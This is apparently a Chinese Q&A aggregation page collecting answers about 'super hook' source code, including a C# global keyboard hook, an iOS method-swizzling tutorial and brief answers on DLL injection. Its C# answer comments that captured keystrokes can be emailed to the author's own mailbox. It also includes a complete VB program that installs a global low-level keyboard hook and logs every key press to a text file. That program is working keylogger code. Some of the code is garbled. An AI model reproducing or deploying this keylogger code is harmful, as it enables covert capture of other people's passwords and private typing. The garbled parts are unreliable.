導航:首頁 > 源碼編譯 > 超級hook源碼

超級hook源碼

發布時間:2022-08-05 07:21:34

❶ C++鍵盤鉤子的源代碼

HOOKDLL.dll和HOOKDLL.lib放到MFC的debug同文件夾下,回調HookDllProc函數需要導出,HookDllProc中要有按鍵消息處理才能截取到

❷ 求助,易語言反HOOK源碼,防止其他程序DLL注入

騰訊電腦管家可以幫助修復
a進入管家的首頁後,點擊右上角的「工具箱」按鈕,點擊「電腦診所」
b進入「電腦診所」找到「軟體硬體」點擊「丟失dll文件」最後「一鍵修復」界面
可以根據自己彈出的對話框中顯示的無法啟動程序是丟失的何種dll文件,找到對應的後,滑鼠輕輕放在該項上,當出現了「立即修復」按鈕後點擊「立即修復」按鈕。
完成以上步驟後,系統便自行修復了dll文件丟失的故障了,完成了修復

❸ 高分求一個用C#寫的鍵盤或滑鼠的鉤子源代碼

//*************************鍵盤鉤子代碼QQ:475476245**********************
//定義變數
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
static int hKeyboardHook = 0;
HookProc KeyboardHookProcere;
/*************************
* 聲明API函數
* ***********************/
// 安裝鉤子 (using System.Runtime.InteropServices;)
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int SetWindowsHookEx(int idHook,HookProc lpfn, IntPtr hInstance, int threadId);
// 卸載鉤子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
// 繼續下一個鉤子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
// 取得當前線程編號(線程鉤子需要用到)
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
//鉤子子程:就是鉤子所要做的事情
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (nCode >= 0)
{
/****************
//線程鍵盤鉤子判斷是否按下鍵
Keys keyData = (Keys)wParam;
if(lParam.ToInt32() > 0)
{
// 鍵盤按下
}
if(lParam.ToInt32() < 0)
{
// 鍵盤抬起
}
****************/
/****************
//全局鍵盤鉤子判斷是否按下鍵
wParam = = 0x100 // 鍵盤按下
wParam = = 0x101 // 鍵盤抬起
****************/
KeyMSG m = (KeyMSG) Marshal.PtrToStructure(lParam, typeof(KeyMSG));//鍵盤
// 在這里添加你想要做是事情(比如把鍵盤nCode記錄下來,搞個郵件發送程序發到自己的郵箱去)
return 0;//如果返回1,則結束消息,這個消息到此為止,不再傳遞。如果返回0或調用CallNextHookEx函數則消息出了這個鉤子繼續往下傳遞,也就是傳給消息真正的接受者
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//鍵盤結構
public struct KeyMSG
{
public int vkCode; //鍵值
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
// 安裝鉤子
public void HookStart()
{
if(hKeyboardHook == 0)
{
// 創建HookProc實例
KeyboardHookProcere = new HookProc(KeyboardHookProc);
// 設置線程鉤子

hKeyboardHook = SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);

//************************************
//鍵盤線程鉤子
//SetWindowsHookEx( 2,KeyboardHookProcere, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()為要監視的線程ID,你完全可以自己寫個方法獲取QQ的線程哦
//鍵盤全局鉤子,需要引用空間(using System.Reflection;)
//SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);
//
//關於SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函數將鉤子加入到鉤子鏈表中,說明一下四個參數:
//idHook 鉤子類型,即確定鉤子監聽何種消息,上面的代碼中設為2,即監聽鍵盤消息並且是線程鉤子,如果是全局鉤子監聽鍵盤消息應設為13,
//線程鉤子監聽滑鼠消息設為7,全局鉤子監聽滑鼠消息設為14。
//
//lpfn 鉤子子程的地址指針。如果dwThreadId參數為0 或是一個由別的進程創建的線程的標識,lpfn必須指向DLL中的鉤子子程。 除此以外,lpfn可
//以指向當前進程的一段鉤子子程代碼。鉤子函數的入口地址,當鉤子鉤到任何消息後便調用這個函數。
//
//hInstance應用程序實例的句柄。標識包含lpfn所指的子程的DLL。如果threadId 標識當前進程創建的一個線程,而且子程代碼位於當前
//進程,hInstance必須為NULL。可以很簡單的設定其為本應用程序的實例句柄。
//
//threadedId 與安裝的鉤子子程相關聯的線程的標識符。如果為0,鉤子子程與所有的線程關聯,即為全局鉤子。
//************************************

// 如果設置鉤子失敗
if(hKeyboardHook == 0 )
{
HookStop();
throw new Exception("SetWindowsHookEx failed.");
}
}
}
// 卸載鉤子
public void HookStop()
{
bool retKeyboard = true;
if(hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
if (!( retKeyboard))
throw new Exception("UnhookWindowsHookEx failed.");
}
//*****************************

❹ iOS中如何實現hook

我們都知道在windows下可以通過API輕松的hook很多消息,IOS裡面貌似還沒有現成的API(可能是我還沒發現吧),前段時間碰巧看到Objective-C運行時的一些東西,於是心想著是不是可以嘗試一下實現hook的功能。
下面先直接上源碼:1//2//TestHookObject.m3//TestHookMessage4//5//Created by mapleCao on 13-2-28.6//Copyright (c) 2013年 mapleCao. All rights reserved.7//89#import"TestHookObject.h"10#import<objc/objc.h11#import<objc/runtime.h1213@implementation
TestHookObject1415//this method will just excute once16+ (void)initialize17{18//獲取到UIWindow中sendEvent對應的method19Method sendEvent = class_getInstanceMethod([UIWindowclass
], @selector(sendEvent:));20Method sendEventMySelf = class_getInstanceMethod([selfclass
], @selector(sendEventHooked:));2122//將目標函數的原實現綁定到sendEventOriginalImplemention方法上23IMP sendEventImp =
method_getImplementation(sendEvent);24class_addMethod([UIWindowclass
], @selector(sendEventOriginal:), sendEventImp, method_getTypeEncoding(sendEvent));2526//然後用我們自己的函數的實現,替換目標函數對應的實現27IMP sendEventMySelfImp =
method_getImplementation(sendEventMySelf);28class_replaceMethod([UIWindowclass
], @selector(sendEvent:), sendEventMySelfImp, method_getTypeEncoding(sendEvent));29}3031/*32* 截獲到window的sendEvent33* 我們可以先處理完以後,再繼續調用正常處理流程34*/35- (void)sendEventHooked:(UIEvent *)event36{37//do something what ever you want38NSLog(@"haha, this is my self sendEventMethod!!!!!!!");3940//invoke original implemention41[self performSelector:@selector(sendEventOriginal:) withObject:event];42}4344@end下面我們來逐行分析一下上面的代碼:
首先我們來看19行,這一行主要目的是獲取到UIWindow原生的sendEvent的
Method(一個結構體,用來對方法進行描述)
,接著第20行是獲取到我們自己定義的類中的sendEvent的Method
(這兩個方法的簽名必須一樣,否則運行時報錯)
。第23行我們通過UIWindow原生的sendEvent的Method獲取到對應的
IMP(一個函數指針)
,第24行使用運行時API Class_addMethod給UIWindow類添加了一個叫sendEventOriginal的方法,該方法使用UIWindow原生的sendEvent的實現,並且有著相同的方法簽名
(必須相同,否則運行時報錯)。
27行是獲取我們自定義類中的sendEventMySelf的IMP,28行是關鍵的一行,這一行的主要目的是為UIWindow原生的sendEvent指定一個新的實現,我們看到我們將該實現指定到了我們自己定義的sendEventMySelf上。到了這兒我們就完成了偷梁換柱,大功告成。
執行上面這些行以後,我們就成功的將UIWindow的sendEvent重定向到了我們自己的寫的sendEventMySelf的實現,然後將其原本的實現重定向到了我們給它新添加的方法sendEventOriginal中。而sendEventMySelf中,我們首先可以對這個消息進行我們想要的處理,然後再通過41行調用sendEventOriginal方法轉到正常的執行流程。
為什麼執行起來不報錯,而且還會正常執行?因為sendEventMySelf是UIWindow的sendEvent重定向過來的,所以在運行時該方法中的self代表的就是UIWindow的實例,而不再是TestHookObject的實例了。加上sendEventOriginal是我們通過運行時添加到UIWindow的實例方法,所以可以正常調用。當然如果直接通過下面這種方式調用也是可以的,只不過編譯器會提示警告
(編譯器沒那麼智能)
,因此我們採用了performSelector的調用方式。
[self sendEventOriginal:event];以上就是Hook的實現,使用時我們只需要讓TestHookObject類執行一次初始話操作就可以了,執行完以後。UIWindow的sendEvent消息就會會hook到我們的sendEventMySelf中了。
下面是調用代碼:
Install Hook
代碼中我們還專門添加了一個button來驗證,hook完以後消息是否正常傳遞。經驗證消息流轉完全正常。

❺ 易語言的究極模塊裡面的超級HOOK怎麼用

hl2進程結束 (取進程ID("))
這樣就ok 了 hl2.exe"

❻ 跪求超級模塊監視熱鍵源碼

用精易模塊試試呢,它也是開源的,但我用的超級模塊7.1的

❼ 誰能給個VBAPI函數攔截的源碼我看看就是APIHOOK

添加一個窗口,添加一個按鈕,然後粘貼如下代碼
Private Sub Command1_Click()
'載入
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)

If hHook = 0 Then
End
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
'卸載
Call UnhookWindowsHookEx(hHook)
End Sub

=================================
添加一個模塊,在模塊內粘貼以下代碼

'++++++++++++++++++++++++++++++++++++++++++++
'模塊部分
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long

Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type

Public mymsg As EVENTMSG

Public Const WH_KEYBOARD_LL = 13

Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\鍵盤記錄.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小鍵盤0 "
Case 97
PrintTXT " 小鍵盤1 "
Case 98
PrintTXT " 小鍵盤2 "
Case 99
PrintTXT " 小鍵盤3 "
Case 100
PrintTXT " 小鍵盤4 "
Case 101
PrintTXT " 小鍵盤5 "
Case 102
PrintTXT " 小鍵盤6 "
Case 103
PrintTXT " 小鍵盤7 "
Case 104
PrintTXT " 小鍵盤8 "
Case 105
PrintTXT " 小鍵盤9 "
Case 106
PrintTXT " 小鍵盤* "
Case 107
PrintTXT " 小鍵盤+ "
Case 109
PrintTXT " 小鍵盤- "
Case 110
PrintTXT " 小鍵盤. "
Case 111
PrintTXT " 小鍵盤/ "
Case 13
PrintTXT " 小鍵盤Enter "
Case 144
PrintTXT " 小鍵盤numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9鍵區-印屏幕鍵 "
Case 45
PrintTXT " 9鍵區-插入鍵 "
Case 46
PrintTXT " 9鍵區-刪除鍵 "
Case 145
PrintTXT " 9鍵區-滾動鎖定鍵 "
Case 36
PrintTXT " 9鍵區-起始鍵 "
Case 35
PrintTXT " 9鍵區-結束鍵 "
Case 19
PrintTXT " 9鍵區-暫停中斷鍵 "
Case 33
PrintTXT " 9鍵區-上頁 "
Case 34
PrintTXT " 9鍵區-下頁 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大鍵盤左,TAB "
Case 20
PrintTXT " 大鍵盤左,大寫鎖定 "
Case 160
PrintTXT " 大鍵盤左Shift "
Case 162
PrintTXT " 大鍵盤左,Ctrl "
Case 91
PrintTXT " 大鍵盤左,Win "
Case 13
PrintTXT " 大鍵盤右,回車 "
Case 161
PrintTXT " 大鍵盤右,Shift "
Case 92
PrintTXT " 大鍵盤右,Win "
Case 93
PrintTXT " 大鍵盤右,彈菜單鍵 "
Case 163
PrintTXT " 大鍵盤右,Ctrl "
End Select
End If

End If

MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)

End Function

'這就是一個鍵盤鉤子程序

❽ c# hook 怎麼用OpenProcess 防止自己的進程被殺 ,最好給完整源碼例子

C的我有
R3下基本就是IAT hook inline或是用destours庫

❾ 在網上找到一個利用HOOKAPI的源碼 名字是sockscap 已經生成了一個socks.dll文件,請問後面再怎麼搞~~~

別人做的一些類封裝到DLL了 只需引用這個dll 再寫程序的時候USING 一下 就可以調用了

❿ 請教天龍八部 lua源碼hook幾個Lua函數

閱讀全文

與超級hook源碼相關的資料

熱點內容
androidapp調用另一個app 瀏覽:621
數控銑床法蘭克子程序編程 瀏覽:173
linux打包命令targz 瀏覽:996
抖音app是哪個 瀏覽:407
蘋果app怎麼上架 瀏覽:255
NA伺服器地址 瀏覽:427
我的世界如何初始化伺服器 瀏覽:97
哪個手機app天氣預報最准 瀏覽:752
怎樣把視頻壓縮至25m 瀏覽:570
vivox27文件夾怎麼改變 瀏覽:727
新手玩狼人殺用什麼app 瀏覽:615
pdf在線查看 瀏覽:954
安卓tv90如何關閉後台 瀏覽:683
php讀取word亂碼 瀏覽:755
minicom源碼 瀏覽:1001
海爾冷櫃壓縮機 瀏覽:416
聯通伺服器如何調試信號 瀏覽:136
stata新命令 瀏覽:941
單調棧演算法python 瀏覽:606
微信解壓游戲怎麼下載 瀏覽:962